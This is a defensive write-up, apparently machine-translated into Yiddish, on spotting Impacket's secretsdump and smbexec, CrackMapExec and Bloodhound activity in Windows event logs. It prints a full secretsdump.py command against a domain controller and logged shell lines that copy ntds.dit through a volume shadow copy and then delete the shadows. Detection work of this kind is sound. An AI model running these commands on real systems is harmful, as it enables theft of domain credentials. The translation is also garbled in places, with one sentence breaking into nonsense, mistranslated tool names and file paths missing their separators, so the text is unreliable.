ืื ื ืืืขืจ ืคืื ืื ืคืืื ืืื ืื ืคึฟืืจืืข ืกืขืงืืึธืจ ืืื ืืจืึธืืื ื ืืขืืขืจ ืืึธืจ: ืคึฟืึทืจ ืืืึทืฉืคึผืื ืืื ืืื 2016, ืืื ืืื ืื ืกืืฃ ืคืื 2018 - ืืื ืืื ืื ืคืจืืขืจืืืงืข ืฆืืึทื. ืึทืจืืึทื ืืขืจืขืื ื ืื ืืืึธืก ืื ืืืืคึผื ืึทืจืืขื ืืขืฆืืึทื ืืื ืื Windows ืึธืคึผืขืจืืืืื ื ืกืืกืืขื. ืืื 2017-2018, ืื APT Dragonfly, APT28, ืืืจืืืขืคืืจื ืืืืงืขืก ืืืืฃ ืจืขืืืจืื ื ืืื ืืืืืืขืจืืฉืข ืืจืืื ืืืืฆืืขืก ืืื ืืืืจืืคืข, ืฆืคืื ืืืขืจืืงืข ืืื ืกืืืื ืืจืืืืข. ืืื ืืืจ ืืขืืืืื ื ืืจืื ืืืฉืืจืื ืคึฟืึทืจ ืืขื - , ะธ . ืืืืขืจ ืืงืืจ ืงืึธื ืืื ืึธืคื ืืื ืื ืืืฆื ืืืืฃ GitHub.
ืขืก ืืื ืืืื ืฆื ืืืืขืจืงื ืึทื ืื ืืืฉืืจืื ืืขื ืขื ื ืืฉื ืืขื ืืฆื ืคึฟืึทืจ ืขืจืฉื ืืืจืืืจืื ื, ืึธืืขืจ ืฆื ืึทื ืืืืืงืืขื ืึท ืืึทืคืึทืื ืืื ืื ืื ืคืจืึทืกืืจืึทืงืืฉืขืจ. ืึทืืึทืงืขืจื ื ืืฆื ืืื ืืื ืคืึทืจืฉืืืขื ืข ืกืืึทืืขืก ืคืื ืื ืืึทืคืึทืื ื ืึธื ืื ืืืจืืืจืื ื ืคืื ืื ืคึผืขืจืืืขืืขืจ. ืืขื, ืืืจื ืืขื ืืืขื, ืืื ืฉืืืขืจ ืฆื ืืขืืขืงื ืืื ืึธืคื ืืืืื ืืื ืื ืืืืฃ ืคืื ืืขืื ืึธืืึธืืืข ืึธืืขืจ ืืืฉืืจืื ืืืึธืก ืืึธืื . ืื ืืืฉืืจืื ืฆืืฉืืขืื ืึท ืคืึทืจืฉืืืื ืงืืึทื ืคืื ืคืึทื ืืงืฉืึทื ื, ืคึฟืื ืืจืึทื ืกืคืขืจืื ื ืืขืงืขืก ืฆื ืื ืืขืจืึทืงืืื ื ืืื ืื ืจืขืืืกืืจื ืืื ืขืงืกืึทืงืืืืื ื ืงืึทืืึทื ืื ืืืืฃ ืึท ืืืืึทื ืืึทืฉืื. ืืืจ ืืขืคืืจื ืึท ืืขืจื ืขื ืคืื ืื ืืืฉืืจืื ืฆื ืืึทืฉืืืกื ืืืืขืจ ื ืขืฅ ืืขืืืงืืื.
ืืืึธืก ืืืจ ืืึทืจืคึฟื ืฆื ืืึธื:
- ืคึฟืึทืจืฉืืืื ืืื ืืึทืงืื ื ืืืฉืืจืื ืึทืจืืขื. ืืขืคึฟืื ืขื ืืื ืืืึธืก ืึทืืึทืงืขืจื ืืึทืจืคึฟื ืฆื ื ืืฆื ืืื ืืืึธืก ืืขืงื ืึทืืึทืืืฉืื ืืื ืงืขื ืขื ื ืืฆื.
- ืืขืคึฟืื ืขื ืืืึธืก ืืื ื ืืฉื ืืืืขืงืืึทื ืืืจื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืืขืจืืืื ืืืฉืืจืื ืืื ืืขืจ ืขืจืฉืืขืจ ืกืืึทืืขืก ืคืื ืึท ืืึทืคืึทืื. ืื ืจืืงืึทื ืึทืกืึทื ืก ืคืึทืกืข ืงืขื ืืืื ืกืงืืคึผื, ืึธืืขืจ ืืืืึทื ืืขืจ ืึทืืึทืงืขืจ ืืื ืึทื ืื ืขืจืืขื ืึทืืึทืงืขืจ, ืึธืืขืจ ืืืืึทื ืืขืจ ืึทืืึทืงืขืจ ืืื ืขืงืกืคึผืืืืืื ื ืึท ืืึธื ืืื ืื ืื ืคืจืึทืกืืจืึทืงืืฉืขืจ ืืืึธืก ืืื ืืขืืืขื ื ืืฉื ืืืงืื ื ืืื ืึทืืขืจ. ืขืก ืืืขืจื ืืขืืืขื ืฆื ืืืงืขืจื ืื ืืื ืฆืข ืงืืื ืคืื ืืืื ืึทืงืฉืึทื ื, ืืขืจืคืืจ ืืขืจ ืคืึทืจืืึทื ื ืฆื ืืขืืขืงื ืืืืึทืืขืจ ืืึทืืืขืืื ื.
- ืขืืืืื ืืจื ืคืึทืืฉ ืคึผืึทืืึทืืืืื ืคืื ืื ืืจืืืฉืึทื ืืืืขืงืฉืึทื ืืืฉืืจืื. ืื ืจ ืืืจ ื ื ืืฉ ื ืคืืจืืขื ื ื ื ืฐืข ื ืข ืก ืฐืขืจ ื ืื ืืืขืง ื ืืขืฐืืก ืข ืืงืฆืืขืก , ืืื ืฃ ืืข ืจ ืืืืข , ืืืฒื , ืืฒื ืข ื ืืคื ืข ืืขืืชืื . ืืืืฉืึทืืืึทืื ืืื ืื ืื ืคืจืึทืกืืจืึทืงืืฉืขืจ ืขืก ืืขื ืขื ืึท ืืขื ืื ื ืืืขืจ ืคืื ืืืขืื ืฆื ืืึทืงืืืขื ืงืืื ืืื ืคึฟืึธืจืืึทืฆืืข, ืืืึธืก ืืื ื ืื ืึทื ืืขืจืฉ ืคืื ืืึทืืืฉืืืึทืืึทื ืึธื ืขืก ืืื ืขืจืฉืืขืจ ืืืืง.
ืืืึธืก ืืึธื ืื ืืืฉืืจืื ืืขืื ืึทืืึทืงืขืจื? ืืืื ืืึธืก ืืื ืืืคึผืึทืงืงืขื, ืึทืืึทืงืขืจื ืืึทืงืืืขื ืึท ืืจืืืก ืืืืืืึธืืขืง ืคืื ืืึทืืืฉืืื ืืืึธืก ืงืขื ืขื ืืืื ืืขืืืืื ื ืืื ืคืึทืจืฉืืืขื ืข ืกืืึทืืขืก ืคืื ืื ืืึทืคืึทืื ื ืึธื ืืจืืืงืื ื ืื ืคึผืขืจืืืขืืขืจ. ืคืืืข ืืืฉืืจืื ื ืืฆื ืืืคึผืึทืงืงืขื ืืึทืืืฉืืื ืื ืขืืืืื ืืง - ืคึฟืึทืจ ืืืึทืฉืคึผืื, Metasploit. ืขืก ืืื ืืงืึธืืขืงืกืขืง ืืื ืืืืืขืงืกืขืง ืคึฟืึทืจ ืืืืึทื ืืึทืคึฟืขืื ืืืจืืคืืจืื ื, ืกืขืงืจืขืืกืืืืคึผ ืคึฟืึทืจ ืืึทืงืืืขื ืึทืงืึทืื ืฅ ืคืื ืืึผืจืื ืืืึธืก ืืขื ืขื ืฆืืืขืืขืื ืคึฟืื ืืืคึผืึทืงืงืขื. ืืื ืึท ืจืขืืืืืึทื, ืจืืืืืง ืืืืขืงืฉืึทื ืคืื ืื ืืขืืืงืืื ืคืื ืึทืืึท ืึท ืืืืืืึธืืขืง ืืืขื ืขื ืฉืืจ ืื ืืืืขืงืฉืึทื ืคืื ืืขืจืืืืึทืืืืื.
ืขืก ืืื ืงืืื ืฆืืคืึทื ืึทื ืื ืงืจืืืืืขืจื ืืขืฉืจืืื "Powered by Impacket" ืืืขืื CrackMapExec (ืึธืืขืจ ืคืฉืื CME). ืืื ืึทืืืฉืึทื, CME ืืื ืคืึทืจืืืง ืคืึทื ืืงืฉืึทื ืึทืืืื ืคึฟืึทืจ ืคืึธืืงืก ืกืื ืขืจืืึธืื: Mimikatz ืคึฟืึทืจ ืืืงืืืขื ืคึผืึทืกืืืขืจืื ืึธืืขืจ ืืืืขืจ ืืึทืฉืขืก, ืืืคึผืืึทืืขื ืืืืฉืึทื ืคืื Meterpreter ืึธืืขืจ ืืืืคืขืจืืข ืึทืืขื ื ืคึฟืึทืจ ืืืืึทื ืืืจืืคืืจืื ื, ืืื Bloodhound ืืืืฃ ืืจืขื.
ืื ืืจืื ืืขืฆืืึทื ืืืึธืก ืืืจ ืืืืกืืขืจืืืืืื ืืื ืืขืืืขื Koadic. ืขืก ืืื ืืึทื ืฅ ืคืจืืฉ, ืขืก ืืื ืืขืืืขื ืืขืจืืื ืื ืืื ืืขืจ ืืื ืืขืจื ืึทืฆืืึธื ืึทืืขืจ ืืขืงืขืจ ืืืฆืื ื DEFCON 25 ืืื 2017 ืืื ืืื ืืื ืืขืจืฉืืืื ืืืจื ืึท ื ืื-ื ืึธืจืืึทื ืฆืืืึทื ื: ืขืก ืึทืจืืขื ืืืจื ืืืืคึผ, ื'ืืื ืกืงืจืืคึผื ืืื Microsoft Visual Basic Script (VBS). ืืขืจ ืฆืืืึทื ื ืืื ืืขืจืืคื ืืขืืขืืืง ืึทืืืขืง ืื ืขืจื: ืื ืืขืฆืืึทื ื ืืฆื ืึท ืกืืื ืคืื ืืืคึผืขื ืืึทื ืกืื ืืื ืืืืืจืขืจืื ืืขืืืื ืืื Windows. ืื ืงืจืืืืืขืจื ืจืืคื ืขืก COM Command & Control, ืึธืืขืจ C3.
IMPACKET
ืื ืคืึทื ืืงืฉืึทื ืึทืืืื ืคืื Impacket ืืื ืืืืขืจ ืืจืืื, ืจืืื ืืืฉืื ื ืคืื ืจืืงืึทื ืึทืกืึทื ืก ืืื AD ืืื ืงืึทืืขืงืืื ื ืืึทืื ืคืื ืื ืขืจืืขื MS SQL ืกืขืจืืืขืจืก, ืฆื ืืขืงื ืืงืก ืคึฟืึทืจ ืงืจืืืืืื ื ืงืจืึทืืขื ืืฉืึทืื: ืืึธืก ืืื ืึท SMB ืจืขืืข ืืึทืคืึทืื ืืื ืืึทืงืืืขื ืื ntds.dit ืืขืงืข ืืื ืืึทืฉืขืก ืคืื ืืึทื ืืฆืขืจ ืคึผืึทืกืืืขืจืื ืคึฟืื ืึท ืคืขืื ืงืึธื ืืจืึธืืืขืจ. ืืืคึผืึทืงืงืขื ืืืื ืขืงืกืึทืงืืืฅ ืงืึทืืึทื ืื ืจืืืึธืืืื ื ืืฆื ืคืืจ ืคืึทืจืฉืืืขื ืข ืืขืืืึธืืก: WMI, Windows Scheduler Management Service, DCOM ืืื SMB, ืืื ืจืืงืืืืืขืจื ืงืจืึทืืขื ืืฉืึทืื ืฆื ืืึธื ืืึธืก.
ืกืขืงืจืขืืกืืืืคึผ
ืืื ืก ื ืขืืขื ืึท ืงืืง ืืืึท secretsdump. ืืึธืก ืืื ืึท ืืึธืืืืข ืืืึธืก ืงืขื ืขื ืฆืื ืืืืืข ืืึทื ืืฆืขืจ ืืืฉืื ืขื ืืื ืคืขืื ืงืึทื ืืจืึธืืืขืจื. ืขืก ืงืขื ืขื ืืืื ืืขืืืืื ื ืฆื ืืึทืงืืืขื ืงืึธืคึผืืขืก ืคืื ืืึผืจืื ืืขืืืื LSA, SAM, SECURITY, NTDS.dit, ืึทืืื ืขืก ืงืขื ืขื ืืืื ืืขืืขื ืืื ืคืึทืจืฉืืืขื ืข ืกืืึทืืขืก ืคืื ืื ืืึทืคืึทืื. ืืขืจ ืขืจืฉืืขืจ ืฉืจืื ืืื ืื ืึธืคึผืขืจืึทืฆืืข ืคืื โโืื ืืึธืืืืข ืืื ืึธืืขื ืืึทืงืืืฉืึทื ืืืจื SMB, ืืืึธืก ืจืืงืืืืืขืจื ืึธืืขืจ ืื ืคึผืึทืจืึธื ืคืื ืื ืืึทื ืืฆืขืจ ืึธืืขืจ ืืืื ืืึทืฉ ืฆื ืืืืืึธืืึทืืืฉ ืืืจืืคืืจื ืื ืคืึธืจื ืื ืืึทืฉ ืืึทืคืึทืื. ืืขืจื ืึธื ืงืืื ืึท ืืงืฉื ืฆื ืขืคึฟืขื ืขื ืึทืงืกืขืก ืฆื ืกืขืจืืืืก ืงืึธื ืืจืึธื ืืึทื ืึทืืขืจ (SCM) ืืื ืืึทืงืืืขื ืึทืงืกืขืก ืฆื ืื ืจืขืืืกืืจื ืืืจื ืื ืืืื ืจืขื ืคึผืจืึธืืึธืงืึธื, ืืื ืืืึธืก ืึท ืึทืืึทืงืขืจ ืงืขื ืขื ืืขืคึฟืื ืขื ืื ืืึทืื ืคืื ืืื ืืขืจืขืกื ืฆืืืืืื ืืื ืืึทืงืืืขื ืจืขืืืืืึทืื ืืืจื SMB.
ืืื Fig. 1 ืืืจ ืืขื ืืื ืคึผืื ืงื ืืืขื ื ืืฆื ืื ืืืื ืจืขื ืคึผืจืึธืืึธืงืึธื, ืึทืงืกืขืก ืืื ืืืงืืืขื ืืื ืึท ืจืขืืืกืืจื ืฉืืืกื ืืื ืึท ืืกืึท. ืฆื ืืึธื ืืึธืก, ื ืืฆื ืื DCERPC ืืึทืคึฟืขื ืืื ืึธืคึผืงืึธืืข 15 - OpenKey.
ืจืืืก. 1. ืขืคื ืึท ืจืขืืืกืืจื ืฉืืืกื ื ืืฆื ืื ืืืื ืจืขื ืคึผืจืึธืืึธืงืึธื
ืืขืจื ืึธื, ืืืขื ืึทืงืกืขืก ืฆื ืื ืฉืืืกื ืืื ืืืงืืืขื, ืื ืืืึทืืืขืก ืืขื ืขื ืืขืจืืืขืืืขื ืืื ืื SaveKey ืืึทืคึฟืขื ืืื ืึธืคึผืงืึธืืข 20. Impacket ืืื ืืึธืก ืืืืฃ ืึท ืืืืขืจ ืกืคึผืขืฆืืคืืฉ ืืืขื. ืขืก ืกืึทืืืขืก ืื ืืืึทืืืขืก ืฆื ืึท ืืขืงืข ืืืขืืขื ืก ื ืึธืืขื ืืื ืึท ืฉืืจืืงื ืคืื 8 ืืจืึทืค ืืืชืืืช ืึทืคึผืคึผืขื ืืขื ืืื .ืืืคึผ. ืืื ืึทืืืฉืึทื, ืืืืึทืืขืจ ืืคึผืืึธืึทื ืคืื ืืขื ืืขืงืข ืึทืงืขืจื ืืืจื ืกืื ืคืื ืื ืกืืกืืขื32 ืืืขืืืืืึทืืขืจ (ืคืืืืจืข 2).
ืจืืืก. 2. ืกืืขืืข ืคึฟืึทืจ ืืืงืืืขื ืึท ืจืขืืืกืืจื ืฉืืืกื ืคืื ืึท ืืืืึทื ืืึทืฉืื
ืขืก ืืืจื ืก ืืืืก ืึทื ืึทืืึท ืืขืืืงืืื ืืืืฃ ืื ื ืขืฅ ืงืขื ืขื ืืืื ืืืืขืงืืึทื ืืืจื ืคึฟืจืืื ืฆื ืืืืขืจ ืจืขืืืกืืจื ืฆืืืืืื ื ืืฆื ืืืื ืจืขื ืคึผืจืึธืืึธืงืึธื, ืกืคึผืขืฆืืคืืฉ ื ืขืืขื, ืงืึทืืึทื ืื ืืื ืืืืขืจ ืกืืจ.
ืืขืจ ืืึธืืืืข ืืืื ืืึธืื ืืจืึทืกืขืก ืืื ืื Windows ืืขืฉืขืขื ืืฉ ืงืืึธืฅ, ืืืึธืก ืืืื ืขืก ืืจืื ื ืฆื ืืขืืขืงื. ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืืื ืึท ืจืขืืืืืึทื ืคืื ืขืงืกืึทืงืืืืื ื ืื ืืึทืคึฟืขื
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCืืื ืื Windows Server 2016 ืงืืึธืฅ ืืืจ ืืืขืื ืืขื ืื ืคืืืืขื ืืข ืฉืืืกื ืกืืงืืืึทื ืก ืคืื ืืขืฉืขืขื ืืฉื:
1. 4624 - ืืืืึทื ืืึธืืึธื.
2. 5145 - ืงืึธื ืืจืึธืืืจืื ื ืึทืงืกืขืก ืจืขืื ืฆื ืื ืืืื ืจืขื ืืืืึทื ืืื ืกื.
3. 5145 - ืงืึธื ืืจืึธืืืจืื ื ืืขืงืข ืึทืงืกืขืก ืจืขืื ืืื ืื ืกืืกืืขื32 ืืืขืืืืืึทืืขืจ. ืืขืจ ืืขืงืข ืืื ืื ืจืึทื ืืึธื ื ืึธืืขื ืืขืจืืื ื ืืืืื.
4. 4688 - ืงืจืืืืืื ื ืึท cmd.exe ืคึผืจืึธืฆืขืก ืืืึธืก ืืึธื ืืฉืื vssadmin:
โC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 - ืงืจืืืืืื ื ืึท ืคึผืจืึธืฆืขืก ืืื ืื ืืึทืคึฟืขื:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 - ืงืจืืืืืื ื ืึท ืคึผืจืึธืฆืขืก ืืื ืื ืืึทืคึฟืขื:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 - ืงืจืืืืืื ื ืึท ืคึผืจืึธืฆืขืก ืืื ืื ืืึทืคึฟืขื:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batืกืืืขืงืกืขืง
ืืื ืคืืืข ืคึผืึธืกื-ืขืงืกืคึผืืึธืืืึทืืืึธื ืืืฉืืจืื, Impacket ืืื ืืึทืืืฉืืื ืคึฟืึทืจ ืจืืืึธืืืื ืขืงืกืึทืงืืืืื ื ืงืึทืืึทื ืื. ืืืจ ืืืขืื ืคืึธืงืืก ืืืืฃ smbexec, ืืืึธืก ืืื ืึทื ืื ืืขืจืึทืงืืืื ืืึทืคึฟืขืื ืฉืึธื ืืืืฃ ืึท ืืืืึทื ืืึทืฉืื. ืืขืจ ืืึธืืืืข ืืืื ืจืืงืืืืืขืจื ืึธืืขื ืืึทืงืืืฉืึทื ืืืจื SMB, ืึธืืขืจ ืืื ืึท ืคึผืึทืจืึธื ืึธืืขืจ ืึท ืคึผืึทืจืึธื ืืึทืฉ. ืืื Fig. ืืื ืคืืืืจืข 3 ืืืจ ืืขื ืึท ืืืึทืฉืคึผืื ืคืื ืืื ืึทืืึท ืึท ืืขืฆืืึทื ืึทืจืืขื, ืืื ืืขื ืคืึทื ืขืก ืืื ืื ืืืืข ืึทืืืื ืืกืืจืึทืืึธืจ ืงืึทื ืกืึธืื.
ืจืืืก. 3. ืื ืืขืจืึทืงืืืืืข ืกืืืขืงืกืขืง ืงืึทื ืกืึธืื
ืืขืจ ืขืจืฉืืขืจ ืฉืจืื ืคืื smbexec ื ืึธื ืึธืืขื ืืึทืงืืืฉืึทื ืืื ืฆื ืขืคึฟืขื ืขื ืื SCM ืืื ืื OpenSCManagerW ืืึทืคึฟืขื (15). ืื ืึธื ืคึฟืจืขื ืืื ื ืึธืืืึทืืึทื: ืื MachineName ืคืขืื ืืื DUMMY.
ืจืืืก. 4. ืืขืื ืฆื ืขืคืขื ืขื ืกืขืจืืืืก ืงืึธื ืืจืึธื ืืึทื ืึทืืขืจ
ืืขืจื ืึธื, ืื ืืื ืกื ืืื ืืืฉืืคื ืืื ืื CreateServiceW ืืึทืคึฟืขื (12). ืืื ืืขื ืคืึทื ืคืื smbexec, ืืืจ ืงืขื ืขื ืืขื ืื ืืขืืืข ืืึทืคึฟืขื ืงืึทื ืกืืจืึทืงืฉืึทื ืืึธืืืง ืืขืืขืจ ืืึธื. ืืื Fig. 5 ืืจืื ืื ืืืงืืืฅ ืึทื ืืฉืืื ืืืฉื ืืึทืคึฟืขืื ืคึผืึทืจืึทืืขืืขืจืก, ืืขื ืื ืืืงืืืฅ ืืืึธืก ืึท ืึทืืึทืงืขืจ ืงืขื ืขื ืืืืฉื. ืขืก ืืื ืืจืื ื ืฆื ืืขื ืึทื ืื ื ืึธืืขื ืคืื ืื ืขืงืกืขืงืืืึทืืืข ืืขืงืข, ืืืึทื ืืืขืืืืืึทืืขืจ ืืื ืื ืจืขืืืืืึทื ืืขืงืข ืงืขื ืขื ืืืื ืืฉืืื ืืืฉื, ืึธืืขืจ ืื ืื ืืื ืืื ืคืื ืืขืจ ืฉืืืขืจ ืฆื ืืืืฉื ืึธื ืืืกืืืจืืื ื ืื ืืึธืืืง ืคืื ืื ืืืคึผืึทืงืงืขื ืืึธืืืืข.
ืจืืืก. 5. ืืขืื ืฆื ืฉืึทืคึฟื ืึท ืืื ืกื ื ืืฆื ืกืขืจืืืืก ืงืึธื ืืจืึธื ืืึทื ืึทืืขืจ
Smbexec ืืืื ืืึธืื ืงืืึธืจ ืืื ืืขืจ ืืึธื ืืจืึทืกืขืก ืืื ืื Windows ืืขืฉืขืขื ืืฉ ืงืืึธืฅ. ืืื ืื Windows Server 2016 ืงืืึธืฅ ืคึฟืึทืจ ืื ืื ืืขืจืึทืงืืืื ืืึทืคึฟืขืื ืฉืึธื ืืื ืื ipconfig ืืึทืคึฟืขื, ืืืจ ืืืขืื ืืขื ืื ืคืืืืขื ืืข ืฉืืืกื ืกืืงืืืึทื ืก ืคืื ืืขืฉืขืขื ืืฉื:
1. 4697 - ืืึทื ืืึธื ืืืจืื ื ืคืื ืื ืืื ืกื ืืืืฃ ืื ืงืึธืจืื ืก ืืึทืฉืื:
%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
2. 4688 - ืฉืึทืคืื ื ืคืื ืื cmd.exe ืคึผืจืึธืฆืขืก ืืื ืื ืึทืจืืืืขื ืื ืคืื ืคืื ื 1.
3. 5145 - ืงืึธื ืืจืึธืืืจืื ื ืึทืงืกืขืก ืจืขืื ืฆื ืื __ืึธืืืคึผืื ืืขืงืข ืืื ืื C$ ืืืขืืืืืึทืืขืจ.
4. 4697 - ืืึทื ืืึธื ืืืจืื ื ืคืื ืื ืืื ืกื ืืืืฃ ืื ืงืึธืจืื ืก ืืึทืฉืื.
%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - ืฉืึทืคืื ื ืคืื ืื cmd.exe ืคึผืจืึธืฆืขืก ืืื ืื ืึทืจืืืืขื ืื ืคืื ืคืื ื 4.
6. 5145 - ืงืึธื ืืจืึธืืืจืื ื ืึทืงืกืขืก ืจืขืื ืฆื ืื __ืึธืืืคึผืื ืืขืงืข ืืื ืื C$ ืืืขืืืืืึทืืขืจ.
ืืืคึผืึทืงืงืขื ืืื ืื ืืงืขืจ ืคึฟืึทืจ ืืขืืืขืืึธืคึผืื ื ืืึทืคืึทืื ืืืฉืืจืื. ืขืก ืฉืืืฆื ืึผืืขื ืึทืืข ืคึผืจืึธืืึธืงืึธืืก ืืื ืื Windows ืื ืคืจืึทืกืืจืึทืงืืฉืขืจ ืืื ืืื ืืขืจ ืืขืืืืงืขืจ ืฆืืื ืืื ืืืึทื ืืืืืขื ืข ืืึทืจืึทืงืืขืจืืกืืืฉ ืคึฟืขืึดืงืืืื. ืืึธ ืืขื ืขื ืกืคึผืขืฆืืคืืฉ ืืืื ืจืขื ืจืืงืืืขืก, ืืื ืื ื ืืฆื ืคืื ืื SCM API ืืื ืืึทืจืึทืงืืขืจืืกืืืฉ ืืึทืคึฟืขืื ืคืึธืจืืืจืื ื, ืืื ืื ืืขืงืข ื ืึธืืขื ืคึฟืึธืจืืึทื ืืื SMB ืืึทื ืืืืื SYSTEM32.
CRACKMAPEXEC
ืื CME ืืขืฆืืึทื ืืื ืืืืืื ื ืืคึฟืจื ืฆื ืึธืืึทืืืื ืื ืจืืืื ืึทืงืฉืึทื ื ืึทื ืึท ืึทืืึทืงืขืจ ืืื ืฆื ืืืจืืคืืจื ืฆื ืฉืืืึทืื ืืื ืื ื ืขืฅ. ืขืก ืึทืืึทืื ืืืจ ืฆื ืึทืจืืขืื ืืื ืงืึทื ืืืฉืึทื ืืงืฉืึทื ืืื ืื ืืึทืืืืกื ืืืืคืขืจืืข ืึทืืขื ื ืืื Meterpreter. ืฆื ืืืกืคืืจื ืงืึทืืึทื ืื ืืขืืืื, CME ืงืขื ืขื ืึทืืคืึทืกืงืืื ืืื. ื ืืฆื ืืืึธืึธืืืึธืื ื (ืึท ืืึทืืื ืืขืจ ืจืืงืึทื ืึทืกืึทื ืก ืืขืฆืืึทื), ืึท ืึทืืึทืงืขืจ ืงืขื ืขื ืึธืืึทืืืื ืื ืืืื ืคึฟืึทืจ ืึทื ืึทืงืืืื ืคืขืื ืึทืืืื ืืกืืจืึทืืึธืจ ืกืขืกืืข.
ืืืึธืึธืืืึธืื ื
ืืืึธืึธืืืึธืื ื, ืืื ืึท ืกืืึทื ืืึทืืึธื ืข ืืขืฆืืึทื, ืึทืืึทืื ืึทืืืึทื ืกืืจืืข ืจืืงืึทื ืึทืกืึทื ืก ืืื ืื ื ืขืฅ. ืขืก ืงืึทืืขืงืฅ ืืึทืื ืืืขืื ื ืืฆืขืจืก, ืืืฉืื ืขื, ืืจืืคึผืขืก, ืกืขืฉืึทื ื ืืื ืืื ืกืึทืคึผืืืื ืืื ืึท PowerShell ืฉืจืืคื ืึธืืขืจ ืืืื ืขืจื ืืขืงืข. LDAP ืึธืืขืจ SMB-ืืืืืจื ืคึผืจืึธืืึธืงืึธืืก ืืขื ืขื ืืขื ืืฆื ืฆื ืืึทืืืขื ืืื ืคึฟืึธืจืืึทืฆืืข. ืื CME ืื ืืึทืืจืืืฉืึทื ืืึธืืืืข ืึทืืึทืื ืืืึธืึธืืืึธืื ื ืฆื ืืืื ืืึทืื ืืึธืืืื ืฆื ืื ืงืึธืจืื ืก ืืึทืฉืื, ืืืืคื ืืื ืืึทืงืืืขื ืื ืืขืืืืื ืืึทืื ื ืึธื ืืืจืืคืืจืื ื, ืืื ืืขืจืืื ืึธืืึทืืืืืื ื ืึทืงืฉืึทื ื ืืื ืื ืกืืกืืขื ืืื ืืึทืื ืืื ืืืืื ืืงืขืจ ืืืืขืจืงื. ืื ืืืึธืึธืืืึธืื ื ืืจืึทืคืืง ืฉืึธื ืืื ืื ืืขืืืืื ืืึทืื ืืื ืื ืคืึธืจืขื ืคืื ืืจืึทืคืก, ืืืึธืก ืึทืืึทืื ืืืจ ืฆื ืืขืคึฟืื ืขื ืื ืฉืึธืจืืืกื ืืืขื ืคืื ืื ืึทืืึทืงืขืจ ืก ืืึทืฉืื ืฆื ืื ืคืขืื ืึทืืืื ืืกืืจืึทืืึธืจ.
ืจืืืก. 6. ืืืึธืึธืืืึธืื ื ืฆืืืื ื
ืฆื ืืืืคื ืืืืฃ ืื ืืึทืฉืื ืคืื ืื ืงืึธืจืื, ืื ืืึธืืืืข ืงืจืืืืฅ ืึท ืึทืจืืขื ืืื ATSVC ืืื SMB. ATSVC ืืื ืึท ืฆืืืื ื ืคึฟืึทืจ ืืจืืขืื ืืื ืื Windows ืืึทืกืง ืกืืฉืขืืืืขืจ. CME ื ืืฆื ืืืึทื NetrJobAdd (1) ืคึฟืื ืงืฆืืข ืฆื ืฉืึทืคึฟื ืืึทืกืงืก ืืืืขืจ ืื ื ืขืฅ. ื ืืืืฉืคึผืื ืคืื ืืืึธืก ืื CME ืืึธืืืืข ืกืขื ืื ืืื ืืขืืืืื ืืื Fig. 7: ืืึธืก ืืื ืึท cmd.exe ืืึทืคึฟืขืื ืจืืคื ืืื ืึทืืคืืกืงืืืืื ืงืึธื ืืื ืื ืคืึธืจืขื ืคืื ืึทืจืืืืขื ืื ืืื ืงืกืื ืคึฟืึธืจืืึทื.
ืคืื.7. ืฉืึทืคึฟื ืึท ืึทืจืืขื ืืืจื CME
ื ืึธื ืื ืึทืจืืขื ืืื ืืขืจืืื ืื ืคึฟืึทืจ ืืืจืืคืืจืื ื, ืื ืืึทืฉืื ืคืื ืื ืงืึธืจืื ืกืืึทืจืฅ ืืืึธืึธืืืึธืื ื ืืื, ืืื ืืึธืก ืงืขื ืขื ืืืื ืืขืืขื ืืื ืื ืคืึทืจืงืขืจ. ืืขืจ ืืึธืืืืข ืืื ืงืขืจืึทืงืืขืจืืืื ืืืจื LDAP ืงืืืืจืื ืฆื ืงืจืืื ื ืึธืจืืึทื ืืจืืคึผืขืก, ืึท ืจืฉืืื ืคืื ืึทืืข ืืืฉืื ืขื ืืื ืืืืขืจื ืืื ืื ืคืขืื, ืืื ืืึทืงืืืขื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืึทืงืืืื ืืึทื ืืฆืขืจ ืกืขืฉืึทื ื ืืืจื ืื SRVSVC NetSessEnum ืืขืื.
ืจืืืก. 8. ืืึทืงืืืขื ืึท ืจืฉืืื ืคืื ืึทืงืืืื ืกืขืฉืึทื ื ืืืจื ืกืื
